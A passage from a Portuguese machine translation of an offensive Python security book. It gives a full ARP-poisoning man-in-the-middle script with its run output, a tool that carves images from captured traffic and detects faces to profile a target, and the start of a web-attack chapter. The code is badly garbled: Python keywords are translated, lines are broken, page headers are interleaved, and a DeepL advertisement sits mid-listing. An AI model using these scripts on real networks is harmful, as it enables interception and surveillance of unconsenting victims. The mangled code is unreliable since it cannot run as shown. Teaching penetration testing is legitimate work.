Podemos ver que o endereço IP da máquina Kali pertencente ao


atacante 1 é 192.168.1.203 e seu endereço MAC é a4:5e:60:ee:17:5d. O
gateway conecta tanto a máquina atacante quanto a vítima à Internet. Seu
endereço IP 2 está em 192.168.1.254 e sua entrada de cache ARP
associada tem um endereço MAC de 20:e5:64:c0:76:d0. Tomaremos nota
destes valores porque
podemos ver o cache ARP enquanto o ataque está ocorrendo e ver que
mudamos o endereço MAC registrado do gateway. Agora que conhecemos
o gateway e o endereço IP alvo, vamos começar a codificar o script de
envenenamento do ARP. Abra um novo arquivo Python, chame-o arper.py,
e digite o seguinte código. Vamos começar por tirar o esqueleto do arquivo
para dar-lhe uma idéia de como vamos construir o envenenador:

do processo de importação multiprocessado


62 Capítulo 4
de scapy.all import (ARP, Ether, conf, get_if_hwaddr,
enviar, farejar, sndrcv, srp, wrpcap)
tempo de
importaçã
o do
sistema de
importaçã
o

1 def get_mac(targetip):
passe

Possuir a Rede com Scapy 63


classe Arper:
def init (self, victim, gateway, interface='en0'): passe

def run(self):
passe

2 def poison(self):
passe

3 def sniff(self, count=200):


passe

4 def restore(self):
passe

se nome == ' principal ':


(vítima, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
myarp = Arper(vítima, gateway, interface)
myarp.run()

Como você pode ver, vamos definir uma função de ajuda para obter o
endereço MAC de qualquer máquina 1 e uma classe Arper para
envenenar 2, cheirar 3, e restaurar 4 as configurações da rede. Vamos
preencher cada seção, começando com a função get_mac, que retorna um
endereço MAC para um determinado endereço IP. Nós
precisam dos endereços MAC da vítima e da porta de entrada.
def get_mac(targetip):
1 packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
2 resp, _ = srp(packet, timeout=2, retry=10,
verbose=False) para _, r in resp:
retorno
r[Ether].src retorno
Nenhum

Nós passamos no endereço IP de destino e criamos um pacote 1. O


Func- tion Ether especifica que este pacote deve ser transmitido, e a função
ARP especifica a solicitação do endereço MAC, perguntando a cada nó se
ele tem o endereço MAC.
IP alvo. Nós enviamos o pacote com a função Scapy srp 2, que envia e
recebe um pacote na camada de rede 2. Recebemos a resposta no resp vari-
capaz, que deve conter a fonte da camada Ether (o endereço MAC) para o IP
alvo.
A seguir, vamos começar a escrever a classe Arper:

64 Capítulo 4
classe Arper():
1 def init (self, victim, gateway, interface='en0'):
self.victim = vítima
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac =
get_mac(gateway) self.interface
= interface conf.iface = interface
conf.verb = 0

Possuir a Rede com Scapy 65


2 imprimir(f'Inicializado {interface}:')
print(f'Gateway ({gateway}) está em {self.gatewaymac}').
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-'*30)

Inicializamos a classe com a vítima e os IPs de gateway e especificamos a


interface a ser usada (en0 é o padrão) 1. Com esta informação, povoamos a
interface das variáveis do objeto, vítima, victimmac, gateway e
gatewaymac, imprimindo os valores para o console 2.
Dentro da classe Arper escrevemos a função run, que é o ponto de entrada
para o ataque:
def run(self):
1 self.poison_thread =
Process(target=self.poison)
self.poison_thread.start()

2 self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()

O método run realiza o trabalho principal do objeto Arper. Ele


estabelece e executa dois processos: um para envenenar o cache ARP 1 e
outro para que possamos observar o ataque em andamento, farejando o
tráfego de rede 2.
O método do veneno cria os pacotes envenenados e os envia para o
vítima e a porta de entrada:
def veneno(self):
1 poison_victim = ARP()
poison_victim.op = 2
poison_victim.psrc =
self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victimmac
print(f'ip src: {poison_victim.psrc}')
print(f'ip dst: {poison_victim.pdst}')
print(f'mac dst: {poison_victim.hwdst}')
print(f'mac src: {poison_victim.hwsrc}')
print(poison_victim.summary())
imprimir('-'*30)
2 poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc =
self.victim poison_gateway.pdst
= self.gateway
66 Capítulo 4
poison_gateway.hwdst = self.gatewaymac

print(f'ip src: {poison_gateway.psrc}')


print(f'ip dst: {poison_gateway.pdst}')
print(f'mac dst: {poison_gateway.hwdst}')
print(f'mac_src: {poison_gateway.hwsrc}')
print(poison_gateway.summary())
imprimir('-'*30)
print(f'Beginning the ARP poison. [CTRL-C para parar]')
3 enquanto Verdadeiro:
sys.stdout.write('.')
sys.stdout.flush()

Possuir a Rede com Scapy 67


Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

tente:
send(poison_victim)
send(poison_gateway)
4 exceto KeyboardInterrupt:
self.restore() sys.exit()
senão:
tempo.de sono(2)

O método do veneno estabelece os dados que usaremos para


envenenar a vítima e a porta de entrada. Primeiro, criamos um pacote ARP
envenenado destinado à vítima 1. Da mesma forma, criamos um pacote ARP
envenenado para a porta de entrada 2. Nós
envenenar o portão enviando o endereço IP da vítima, mas o do agressor
Endereço MAC. Da mesma forma, envenenamos a vítima enviando-lhe o
endereço IP do gateway, mas o endereço MAC do agressor. Imprimimos
todas estas informações no console para que possamos ter certeza dos
destinos e das cargas úteis de nossos pacotes.
Em seguida, começamos a enviar os pacotes envenenados para seus destinos
em um loop infinito para garantir que as respectivas entradas de cache ARP
permaneçam envenenadas durante o período de duração do ataque 3. O
laço continuará até
você pressiona CTRL-C (KeyboardInterrupt) 4, neste caso restauramos as coisas
para
normal (enviando as informações corretas à vítima e à porta de entrada),
desfazer nosso ataque de envenenamento).
A fim de ver e registrar o ataque à medida que ele acontece, farejamos o
tráfego da rede com o método de farejar:

def sniff(self, count=100):


1 tempo.de sono(5)
print(f'Sniffing {count} packets')
2 bpf_filter = "ip host %s" % vítima
3 pacotes = sniff(count=count, filter=bpf_filter, iface=self.interface)
4 wrpcap('arper.pcap',
pacotes) print('Got the
packages')
5 self.restore()
self.poison_thread.terminate
() print('Finished.')

O método de farejar dorme por cinco segundos 1 antes de começar


a farejar, a fim de dar tempo ao fio de envenenamento para começar a
trabalhar. Ele fareja para um número de pacotes (100 por padrão) 3,
filtrando para pacotes que tenham o IP 2 da vítima. Uma vez capturados

Possuir a Rede com Scapy 61


os pacotes, nós os escrevemos em um arquivo chamado arper.pcap 4,
restauramos as tabelas ARP a seus valores originais 5, e terminamos o fio
envenenado.
Finalmente, o método de restauração coloca a vítima e as máquinas de
gateway de volta ao seu estado original, enviando informações ARP
corretas para cada máquina:

def restore(self):
print('Restaurando tabelas ARP...')
1 send(ARP(
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,

62 Capítulo 4
pdst=self.victim,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
2 send(ARP(
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst='ff:ff:ff:ff:ff:ff:ff'),
count=5)

O método restore pode ser chamado a partir do método do


veneno (se você acertar CTRL-C) ou do método sniff (quando o número
especificado de pacotes tiver sido capturado). Ele envia os valores originais
para o IP do gateway
e MAC para a vítima 1, e envia os valores originais para o IP e MAC da vítima
para o gateway 2.
Vamos levar este menino mau para dar uma volta!

Chutando os Pneus
Antes de começarmos, precisamos primeiro dizer à máquina anfitriã local que
podemos para os pacotes da ala tanto para o gateway quanto para o
endereço IP alvo. Se você estiver em sua Kali VM, digite o seguinte
comando em seu terminal:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

Se você for um fanático da Apple, use o seguinte comando:

#:> sudo sysctl -w net.inet.ip.forwarding=1

Agora que temos o encaminhamento de IP, vamos acender o script e


verificar o cache ARP da máquina alvo. A partir de sua máquina atacante,
execute o seguinte (como raiz):

#:> python arper.py 192.168.1.193 192.168.1.254 pt0


Inicializado em0:
O portal (192.168.1.254) está às
20:e5:64:c0:76:d0. A vítima (192.168.1.193) está
às 38:f9:d3:63:5c:48.

ip src: 192.168.1.254
ip dst: 192.168.1.193
mac dst: 38:f9:d3:63:5c:48
mac src: a4:5e:60:ee:17:5d

Possuir a Rede com Scapy 63


ARP está em a4:5e:60:ee:17:5d diz 192.168.1.254

ip src: 192.168.1.193
ip dst: 192.168.1.254
mac dst:
20:e5:64:c0:76:d0
mac_src:
a4:5e:60:ee:17:5d
ARP está em a4:5e:60:ee:17:5d diz 192.168.1.193

Iniciando o veneno ARP. [CTRL-C para parar].


...Cheirando 100 pacotes

64 Capítulo 4
......Pacote os pacotes
Restaurando as tabelas
ARP Concluídas.

Fantástico! Sem erros ou outras estranhezas. Agora vamos validar o


ataque à máquina alvo. Enquanto o script estava no processo de captura
dos 100 pacotes, exibimos a tabela ARP no dispositivo da vítima com o
comando arp:

MacBook-Pro:~ victim$ arp -a


kali.attlocal.net (192.168.1.203) em a4:5e:60:ee:17:5d em en0 ifscope
dsldevice.attlocal.net (192.168.1.254) em a4:5e:60:ee:17:5d em en0 ifscope

Agora você pode ver que a pobre vítima tem um cache ARP envenenado,
enquanto que o gateway agora tem o mesmo endereço MAC que o
computador atacante. Você pode ver claramente na entrada acima do
gateway que estamos atacando a partir de 192.168.1.203. Quando o ataque
tiver terminado de capturar pacotes, você deve ver um arquivo arper.pcap no
mesmo diretório que seu script. Você pode, é claro, fazer coisas como forçar
o computador de destino a proxy de todo o seu tráfego através de uma
instância local de Burp ou fazer qualquer outra coisa desagradável. Talvez
você queira se agarrar a esse arquivo pcap para a próxima seção sobre
processamento de pcap - você nunca sabe o que pode encontrar!

Processamento da tampa
Wireshark e outras ferramentas como o Network Miner são ótimas para
explorar interativamente arquivos de captura de pacotes, mas às vezes
você vai querer fatiar e cortar arquivos pcap usando Python e Scapy.
Alguns grandes casos de uso estão gerando casos de teste de fuzzing
baseados no tráfego de rede capturado ou mesmo algo tão simples
quanto reproduzir o tráfego que você já captou anteriormente.
Vamos dar um giro um pouco diferente nisto e tentar esculpir arquivos
de imagem do tráfego HTTP. Com estes arquivos de imagem em mãos,
usaremos o OpenCV (http://www.opencv.org/), ferramenta de
visão por computador, para tentar detectar imagens que contenham rostos
humanos, para que possamos restringir as imagens que possam ser
interessantes. Você pode usar o script de envenenamento ARP anterior
para gerar os arquivos pcap, ou você pode estender o sniffer de
envenenamento ARP para fazer a detecção facial de imagens enquanto o
alvo está navegando.
Este exemplo executará duas tarefas distintas: esculpir imagens fora do
tráfego HTTP e detectar rostos nessas imagens. Para acomodar isto, vamos
criar dois programas para que você possa escolher usá-los separadamente,
dependendo da tarefa em questão. Você também pode usar os programas
em seqüência, como

Possuir a Rede com Scapy 65


faremos aqui. O primeiro programa, recapper.py, analisa um arquivo pcap,
localiza quaisquer imagens que estejam presentes nos fluxos contidos no
arquivo pcap e grava essas imagens em disco. O segundo programa,
detector.py, analisa cada um desses arquivos de imagem para determinar se
ele contém um rosto. Se contém, ele grava uma nova imagem em disco,
adicionando uma caixa ao redor de cada face na imagem.
Vamos começar deixando cair o código necessário para realizar a análise
do pcap. No código a seguir, usaremos um táxi nomeado, uma estrutura de
dados Python

66 Capítulo 4
com campos acessíveis através de pesquisa de atributos. Um tuple padrão
permite armazenar uma seqüência de valores imutáveis; eles são quase
como listas, exceto que você não pode alterar o valor de um tuple. O tuple
padrão utiliza índices numéricos para acessar seus membros:

ponto = (1,1, 2,5)


impressão(ponto[0],
ponto[1]

Um tuple nomeado, por outro lado, comporta-se da mesma forma


que um tuple normal, exceto que pode acessar os campos através de seus
nomes. Isto torna o código muito mais legível e é também mais eficiente
em termos de memória do que um dicionário. A sintaxe para criar um
tuple nomeado requer dois argumentos: o nome do tuple e uma lista de
nomes de campo separada por espaço. Por exemplo, digamos que você
queira criar uma estrutura de dados chamada Ponto com dois atributos: x
e y. Você a definiria da seguinte forma:

Ponto = namedtuple('Ponto', ['x', 'y'])

Então você poderia criar um objeto Point chamado p com o código p =


Point(35,65), por exemplo, e se referir a seus atributos como os de uma classe:
p.x e p.y referem-se aos atributos x e y de um determinado Ponto
nomeadotuplo. Isso é muito mais fácil de ler do que o código referente ao
índice de algum item em um tuple normal. Em nosso exemplo, digamos que
você crie um tuple nomeado chamado Response com o seguinte código:

Resposta = namedtuple('Resposta', ['cabeçalho', 'carga útil'])

Agora, ao invés de se referir a um índice de um tuple normal, você pode


usar
Response.header ou Response.payload, que é muito mais fácil de
entender. Vamos usar essa informação neste exemplo. Vamos ler um
arquivo pcap,
reconstituir quaisquer imagens que foram transferidas, e escrever as imagens
em disco. Abra recapper.py e digite o seguinte código:

de scapy.all importação TCP,


rdpcap importação coleções
importaçã
o os
importaçã
o re

Possuir a Rede com Scapy 67


importaçã
o sys
importaçã
o zlib

1 OUTDIR =
'/root/Desktop/pictures' PCAPS
= '/root/Downloads

2 Resposta = coleções.namedtuple('Resposta', ['cabeçalho', 'carga útil'])

3 def get_header(carga
útil): passe

4 def extract_content(Resposta,
content_name='image'): passe

68 Capítulo 4
classe Recapper:
def init (self, fname): passe
5 def
get_responses(self)
: passe

6 def write(self,
content_name): passe

se nome == ' principal ':


pfile = os.path.join(PCAPS, 'pcap.pcap')
recapper = Recapper(pfile)
recapper.get_responses()
recapper.write('image')

Esta é a lógica do esqueleto principal de todo o roteiro, e em breve


acrescentaremos as funções de suporte. Configuramos as importações e
depois especificamos a localização do diretório no qual as imagens devem sair e
a localização de
o arquivo pcap para ler 1. Em seguida, definimos um táxi chamado
Response para ter dois atributos: o cabeçalho do pacote e a carga útil do
pacote 2. Vamos criar duas funções auxiliares para obter o cabeçalho do
pacote 3 e extrair o conteúdo 4 que usaremos com a classe Recapper
que definiremos para reconstituir as imagens pres...
ent no fluxo de pacotes. Além do init , a classe Recapper terá dois
métodos: get_responses, que lerá as respostas do arquivo pcap 5, e write,
que escreverá arquivos de imagem contidos nas respostas do diretório de
saída 6.
Vamos começar a preencher este roteiro escrevendo a função
get_header:

def get_header(carga útil):


tente:
header_raw = payload[:payload.index(b'r\r\n')+2] 1
exceto ValueError:
sys.stdout.write('-')
sys.stdout.flush()
retorno Nenhum 2

cabeçalho = dict(re.findall(r'(?P<nome>.*?): (?P<valor>.*?)r', header_raw.decode())) 3


se 'Content-Type' não estiver no cabeçalho: 4
retornar Nenhum
cabeçalho de retorno

A função get_header pega o tráfego HTTP bruto e cospe os


cabeçalhos. Extraímos o cabeçalho procurando a parte da carga útil que
começa no início e termina com um par de retorno de carruagem
Possuir a Rede com Scapy 69
e novos pares de linhas 1. Se a carga útil não corresponder a esse padrão,
obteremos um ValueError, nesse caso, basta escrever um traço (-) no console e
retornar 2. Caso contrário, criamos um dicionário (cabeçalho) a partir da carga útil
decodificada, dividida...
ting no cólon de modo que a chave é a parte antes do cólon e o valor é a
parte depois do cólon 3. Se o cabeçalho não tiver uma chave chamada
Content-Type, nós

70 Capítulo 4
retornar Nenhum para indicar que o cabeçalho não contém os dados que
queremos extrair 4. Agora vamos escrever uma função para extrair o
conteúdo da resposta:

def extract_content(Resposta, content_name='image'):


conteúdo, content_type = Nenhum, Nenhum
1 if content_name in Response.header['Content-Type']:
2 content_type = Response.header['Content-Type'].split('/')[1]
3 conteúdo = Response.payload[Response.payload.index(b'r\r\n')+4:]

4 if 'Content-Encoding' em Response.header:
if Response.header['Content-Encoding'] == "gzip":
content = zlib.decompress(Response.payload, zlib.MAX_WBITS |
32) elif Response.header['Content-Encoding'] == "deflate":
conteúdo = zlib.decompress(Resposta.carga útil)

5 retornar conteúdo, content_type

A função extract_content leva a resposta HTTP e o nome para o tipo


de conteúdo que queremos extrair. Lembre-se de que a resposta é um
táxi nomeado com duas partes: o cabeçalho e a carga útil.
Se o conteúdo tiver sido codificado 4 com uma ferramenta como gzip ou
deflate, descomprimimos o conteúdo usando o módulo zlib. Para
qualquer resposta que
contém uma imagem, o cabeçalho terá o nome da imagem no atributo
Content-Type (por exemplo, image/png ou image/jpg) 1. Quando isso
ocorre, criamos uma variável chamada content_type com o tipo de
conteúdo real especificado no cabeçalho 2. Criamos outra variável para
manter o conteúdo em si,
que é tudo na carga útil após o cabeçalho 3. Finalmente, devolvemos um
tuple do conteúdo e content_type 5.
Com essas duas funções de ajuda completas, vamos preencher o Recapper
métodos:
classe Recapper:
1 def init (self, fname):
pcap =
rdpcap(fname)
2 self.sessions = pcap.sessions()
3 self.responses = lista()

Primeiro, inicializamos o objeto com o nome do arquivo pcap que


queremos ler 1. Aproveitamos uma bela característica do Scapy para separar
automaticamente cada sessão TCP 2 em um dicionário que contém cada
fluxo TCP completo. Finalmente, criamos uma lista vazia chamada respostas
sobre as quais estamos
para preencher com as respostas do arquivo pcap 3.
No método get_responses, vamos atravessar os pacotes para encontrar
Possuir a Rede com Scapy 71
cada
separar a Resposta e adicionar cada uma delas à lista de respostas presentes
no fluxo de pacotes:
def get_responses(self):
1 para sessão em auto-sessão:
carga útil = b''.
2 para pacotes em auto-
sessão[sessão]: tente:

72 Capítulo 4
3 se pacote[TCP].dport == 80 ou pacote[TCP].sport ==
80: payload += bytes(packet[TCP].payload)
exceto IndexError:
4 sys.stdout.write('x')
sys.stdout.flush()

se carga útil:
5 cabeçalho =
get_header(carga útil) se o
cabeçalho for Nenhum:
continuar
6 self.responses.append(Response(header=header,
payload=payload))

No método get_responses, iteramos sobre o dicionário de sessões 1,


depois sobre os pacotes dentro de cada sessão 2. Filtramos o tráfego de
modo a obter apenas pacotes com uma porta de destino ou de origem de 80
3. Em seguida, concatamos a carga útil de todo o tráfego em um único
buffer chamado carga útil. Isto
é efetivamente o mesmo que clicar com o botão direito do mouse em um
pacote em Wireshark e selecionar Follow TCP Stream. Se não conseguirmos
anexar à variável de carga útil capaz (provavelmente porque não há TCP
no pacote), imprimimos um x para
o console e continuar 4.
Então, depois de remontarmos os dados HTTP, se a seqüência de bytes de
carga não estiver vazia, nós a passamos para a função get_header 5 do
cabeçalho HTTP, o que nos permite inspecionar os cabeçalhos HTTP
individualmente. A seguir, anexamos a Resposta à lista de respostas 6.
Por fim, analisamos a lista de respostas e, se a resposta con...
tos de imagem, gravamos a imagem em disco com o método de gravação:
def write(self, content_name):
1 para i, resposta em enumerar(auto.respostas):
2 content, content_type = extract_content(resposta,
content_name) se content e content_type:
fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
print(f'Writing {fname}')
com o nome aberto (fname, 'wb') como f:
3 f.write(content)

Com o trabalho de extração concluído, o método de escrita só tem a


iter- comido sobre as respostas 1, extrair o conteúdo 2, e escrever esse
conteúdo em um arquivo 3. O arquivo é criado no diretório de saída com os
nomes formados pelo contador a partir da função enumerar integrada e o
valor do tipo content_type.
Por exemplo, um nome de imagem resultante pode ser ex_2.jpg. Quando
executamos o programa, criamos um objeto Recapper, chamamos seu

Possuir a Rede com Scapy 73


método get_responses para encontrar todas as respostas no arquivo pcap,
e então escrevemos as imagens extraídas dessas respostas em disco.
No próximo programa, examinaremos cada imagem para determinar se
ela contém um rosto humano. Para cada imagem que tem um rosto,
escreveremos uma nova imagem em disco, adicionando uma caixa ao redor
do rosto na imagem. Abrir um novo arquivo chamado detector.py:

importaçã
o cv2
importaçã
o os

74 Capítulo 4
ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN =
'/root/Desktop/training'.

def detect(srcdir=ROOT, tgtdir=FACES,


train_dir=TRAIN): para fname in os.listdir(srcdir):
1 se não
fname.upper().endswith('.JPG'):
continuar
fullname = os.path.join(srcdir, fname)
newname = os.path.join(tgtdir, fname)
2 img =
cv2.imread(fullname) se
img for Nenhum:
continuar

cinza = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)


treinamento = os.path.join(train_dir,
'haarcascade_frontalface_alt.xml')
3 cascade =
cv2.CascadeClassifier(treinamento) rects =
cascade.detectMultiScale(cinza, 1.3, 5) try:
4 se rects.any():
print('Got a face')
5 rects[:, 2:] += rects[:, :2] exceto
AttributeError:
print(f'No faces found in {fname}.')
continue

# destacar os rostos na imagem


para x1, y1, x2, y2 em recortes:
6 cv2.retângulo(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
7 cv2.imwrite(newname, img)

ifname == ' principal


': detectar()

A função de detecção recebe o diretório de origem, o diretório de


destino e o diretório de treinamento como entrada. Iteratiza sobre os
arquivos JPG no diretório de origem. (Já que estamos procurando por
rostos, as imagens são presumivelmente
fotografias, de modo que provavelmente são salvas como arquivos .jpg 1.)
Em seguida, lemos a imagem usando a biblioteca de visão de computador
cv2 2 do OpenCV, carregamos o arquivo XML do detector, e criamos o

Possuir a Rede com Scapy 75


objeto 3 do detector de rosto cv2. Este detector é um classificador de classe
que é treinado com antecedência para detectar faces em uma orientação de
frente.
OpenCV contém classificadores para detecção de perfil (lateralmente), mãos,
frutas e toda uma série de outros objetos que você pode experimentar por si
mesmo. Para imagens nas quais são encontradas faces 4, o classificador
retornará as coordenadas
de um retângulo que corresponde ao local onde a face foi detectada na
imagem.
Nesse caso, imprimimos uma mensagem para o console, desenhamos uma
caixa verde ao redor da face 6 e escrevemos a imagem no diretório de
saída 7.
Os dados de rects devolvidos pelo detector são da forma (x, y, largura),
altura), onde x, y valores fornecem as coordenadas do canto inferior
esquerdo do retângulo, e os valores de largura, altura correspondem à
largura e altura do retângulo.

76 Capítulo 4
Usamos a sintaxe de fatias Python 5 para converter de uma forma para
outra. Ou seja, convertemos os dados da recta retornada para coordenadas
reais: (x1, y1, x1+largura, y1+altura) ou (x1, y1, x2, y2). Este é o formato de
entrada do cv2.retângulo
método é esperado.
Este código foi generosamente compartilhado por Chris Fidao em
http://www.fideloper
.com/facial-detection/. Este exemplo fez pequenas modificações no original.
Agora vamos levar tudo isso para dar uma volta dentro de sua Kali VM.

Chutando os Pneus
Se você ainda não instalou as bibliotecas do OpenCV, execute os
seguintes com- mands (novamente, obrigado, Chris Fidao) a partir de um
terminal em seu Kali VM:

#:> apt-get install libopencv-dev python3-opencv python3-numpy python3-scipy

Isto deve instalar todos os arquivos necessários para lidar com a detecção
facial nas imagens resultantes. Também precisamos agarrar o arquivo de
treinamento de detecção facial, desta forma:

#:> wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Copie o arquivo baixado para o diretório que especificamos no TRAIN


vari- capaz no detector.py. Agora crie um par de diretórios para a saída, solte
em uma tampa e execute os scripts. Isto deve ser algo parecido com o
seguinte:

#:> mkdir /root/Desktop/pictures


#:> mkdir /root/Desktop/faces #:>
python recapper.py Extraído:
189 imagens
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xx
Escrever
quadros/ex_2.gif
Escrever
quadros/ex_8.jpeg
Escrever
quadros/ex_9.jpeg
Escrever
quadros/ex_15.png
...
#:> python detector.py
Tem um
rosto Tem

Possuir a Rede com Scapy 77


um rosto
...
#:>

Você pode ver uma série de mensagens de erro sendo produzidas pelo
OpenCV porque algumas das imagens que alimentamos podem estar
corrompidas ou parcialmente descarregadas ou seu formato pode não ser
suportado. (Deixaremos a construção de uma robusta rotina de extração e
validação de imagens como uma tarefa de casa para você). Se você abrir seu
diretório de rostos, você deve ver vários arquivos com rostos e caixas verdes
mágicas desenhados ao redor deles.
Esta técnica pode ser usada para determinar que tipos de conteúdo seu
alvo está olhando, bem como para descobrir abordagens prováveis através
da neering social. É claro que você pode estender este exemplo para além de
usá-lo contra imagens esculpidas a partir de tampas e usá-lo em conjunto
com técnicas de rastreamento e análise da web descritas em capítulos
posteriores.

78 Capítulo 4
Possuir a Rede com Scapy 79
5
W EB H ACK ERY

A capacidade de analisar aplicações web é


uma habilidade absolutamente crítica para
qualquer atacante ou testador de
penetração. Na maioria das redes
modernas...
obras, as aplicações web apresentam a maior
superfície de ataque e, portanto, são também a via
mais comum para se ter acesso às próprias aplicações
web.
Você encontrará uma série de excelentes ferramentas de aplicação web
escritas em Python, incluindo o w3af e o sqlmap. Muito francamente,
tópicos como a injeção SQL foram espancados até a morte, e as ferramentas
disponíveis estão maduras o suficiente para não precisarmos reinventar a
roda. Em vez disso, vamos explorar o básico da interação com a web usando
Python e, em seguida, construir sobre este conhecimento para criar
ferramentas de reconhecimento e de força bruta. Ao criar
algumas ferramentas diferentes, você deve aprender as habilidades
fundamentais necessárias para construir qualquer tipo de ferramenta de
avaliação de aplicações web que seu cenário de ataque particular exija.
Neste capítulo, analisaremos três cenários de ataque a uma aplicação
web. No primeiro cenário, você conhece a estrutura da web que o alvo
utiliza, e essa estrutura é de código aberto. Uma estrutura de aplicação web
contém muitos arquivos e diretórios dentro de diretórios dentro de
diretórios. Vamos criar um mapa que mostra a hierarquia do aplicativo web
localmente e usar essas informações para localizar os arquivos e diretórios
reais no alvo ao vivo.
No segundo cenário, você conhece apenas a URL de seu alvo, então
recorreremos ao mesmo tipo de mapeamento forçando o mesmo tipo
de mapeamento, usando uma lista de palavras para gerar uma lista de
caminhos de arquivos e nomes de diretórios que possam estar presentes no
alvo. Tentaremos então nos conectar com a lista resultante de possíveis
caminhos contra um alvo vivo.
No terceiro cenário, você conhece a URL base de seu alvo e sua página
de login. Examinaremos a página de login e usaremos uma lista de palavras para
forçar um login.

Usando bibliotecas Web


Começaremos revendo as bibliotecas que você pode usar para interagir com os
serviços da web. Ao realizar ataques baseados em rede, você pode estar usando
sua própria máquina ou uma máquina dentro da rede que você está
atacando. Se você estiver em uma máquina comprometida, você terá que se
contentar com o que você tem, que pode ser uma instalação Python 2.x ou
Python 3.x de ossos nus. Vamos dar uma olhada no que você pode fazer
nessas situações usando a biblioteca padrão. Para o restante do capítulo,
entretanto, assumiremos que você está em sua máquina atacante usando os
pacotes mais atualizados.

A biblioteca urllib2 para Python 2.x


Você verá a biblioteca urllib2 usada em código escrito para Python 2.x. Ela
está empacotada na biblioteca padrão. Assim como a biblioteca socket para
escrever ferramentas de rede, as pessoas usam a biblioteca urllib2 ao criar
ferramentas para interagir com serviços web. Vamos dar uma olhada no
código que faz um pedido muito simples de GET para o site No Starch Press:

urllib2 importação
url = 'https://www.nostarch.com
1 resposta = urllib2.urlopen(url) # GET
2 print(response.read()
) response.close()

Este é o exemplo mais simples de como fazer um pedido de GET para


um site da Web. Passamos em uma URL para a função urlopen 1, que
retorna um objeto semelhante a um arquivo que nos permite ler de volta o
corpo do que o servidor web remoto retorna 2. Como estamos apenas
pegando a página bruta do site No Starch, nenhum JavaScript ou outras
72 Capítulo 5
linguagens do lado do cliente será executado.

Hackery na Web 73
Na maioria dos casos, entretanto, você vai querer um controle mais fino
sobre como você faz essas solicitações, incluindo ser capaz de definir
cabeçalhos específicos, lidar com cookies e criar solicitações POST. A biblioteca
do urllib2 inclui
uma classe de solicitação que lhe dá este nível de controle. O exemplo a
seguir mostra como criar a mesma solicitação GET usando a classe
Request e definindo um cabeçalho HTTP personalizado User-Agent:

urllib2 importação
url = "https://www.nostarch.com"
1 cabeçalhos = {'User-Agent': "Googlebot"}

2 solicitação = urllib2.Request(url,headers=headers)
3 resposta = urllib2.urlopen(pedido)

print(response.read())
response.close()

A construção de um objeto de solicitação é ligeiramente diferente do


nosso exemplo anterior. Para criar cabeçalhos personalizados, definimos um
dicionário de cabeçalhos 1, que nos permite então definir as chaves de
cabeçalho e os valores que queremos usar. Neste caso,
faremos nosso script Python aparecer como o Googlebot. Criamos então
nosso objeto Request e passamos no url e no dicionário de cabeçalhos 2, e
depois passamos o objeto Request para a chamada de função urlopen 3.
Isto retorna um arquivo normal - como um objeto que podemos usar para ler
nos dados do site remoto.

A biblioteca urllib para Python 3.x


Em Python 3.x, a biblioteca padrão fornece o pacote urllib, que divide as
capacidades do pacote urllib2 em urllib.request e urllib
.subpacotes de erro. Ele também adiciona a capacidade de URL-parsing com o
subpacote
urllib.parse.
Para fazer uma solicitação HTTP com este pacote, você pode codificar a
solicitação como um gerenciador de contexto usando o comando com
declaração. A resposta resultante deve conter uma cadeia de bytes. Veja aqui
como fazer uma solicitação de GET:

1 importação
urllib.parse
importação
urllib.parse
solicitação

2 url = 'http://boodelyboo.com
3 com urllib.request.urlopen(url) como resposta: # GET
74 Capítulo 5
4 conteúdo = resposta.read()

imprimir(conteúdo)

Aqui importamos os pacotes que precisamos 1 e definimos a URL


alvo 2. Então, usando o método urlopen como gerenciador de contexto,
fazemos o pedido 3 e lemos a resposta 4.

Hackery na Web 75
Para criar uma solicitação POST, passe um dicionário de dados para o
objeto da solicitação, codificado como bytes. Este dicionário de dados deve
ter os pares de valores-chave que a aplicação web de destino espera. Neste
exemplo, o dicionário de informações contém as credenciais (usuário,
senha) necessárias para efetuar o login no site de destino:

info = {'user': 'tim', 'passwd': '31337'}


1 data = urllib.parse.urlencode(info).encode() # os dados são agora do tipo bytes

2 req = urllib.request.request(url, dados)


com urllib.request.urlopen(req) como resposta: # PÓS
3 conteúdo = resposta.read()

imprimir(conteúdo)

Codificamos o dicionário de dados que contém as credenciais de login


para torná-lo um bytes objeto 1, inserimo-lo no pedido POST 2 que
transmite as credenciais, e recebemos a resposta do aplicativo web à nossa
tentativa de login 3.

A biblioteca de pedidos
Mesmo a documentação oficial Python recomenda o uso da biblioteca de
solicitações para uma interface cliente HTTP de nível superior. Ela não está
na biblioteca padrão, portanto é preciso instalá-la. Veja como fazer isso
usando pip:

pedidos de instalação de tubulações

A biblioteca de solicitações é útil porque pode tratar automaticamente


de cook- ies para você, como você verá em cada exemplo que se segue, mas
especialmente no exemplo onde atacamos um site WordPress em
"Autenticação de Formulário HTML Forçado Bruto" na página 85. Para fazer
uma solicitação HTTP, faça o seguinte:

pedidos de importação
url = 'http://boodelyboo.com'
resposta = requests.get(url) # GET

data = {'user': 'tim', 'passwd': '31337'}


1 resposta = requests.post(url, data=dados) # POST
2 print(response.text) # response.text = string; response.content = bytestring

Criamos a url, o pedido e um dicionário de dados contendo as chaves do


usuário e da senha. Em seguida, publicamos essa solicitação 1 e
imprimimos o atributo texto (uma string) 2. Se você preferir trabalhar
com uma string de byte, use o atributo conteúdo retornado do post.
Você verá um exemplo disso em "Brute...
76 Capítulo 5
